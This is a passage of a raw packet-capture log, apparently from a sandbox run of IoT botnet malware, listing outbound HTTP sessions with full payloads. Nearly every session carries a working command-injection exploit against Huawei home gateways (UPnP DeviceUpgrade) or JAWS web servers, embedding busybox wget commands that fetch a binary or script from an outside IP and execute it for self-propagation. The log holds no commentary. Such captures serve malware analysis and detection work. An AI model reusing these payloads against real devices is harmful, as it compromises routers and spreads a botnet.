HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	59424	77.3.150.192	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.312778950 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	44206	156.251.156.83	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.312866926 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	53872	41.201.37.141	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.344733000 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	53196	156.28.130.182	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.345740080 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	47860	197.141.68.212	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.376648903 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	52684	197.115.11.153	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.378788948 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	42398	41.99.106.112	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.379560947 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	50694	156.143.114.100	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.308423996 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	39946	156.195.126.2	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.312244892 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	44544	41.77.208.129	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.314517021 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	59714	197.206.92.149	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:16.317487001 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	55438	41.49.180.114	37215

Timestamp	Bytes transferred	Direction	Data
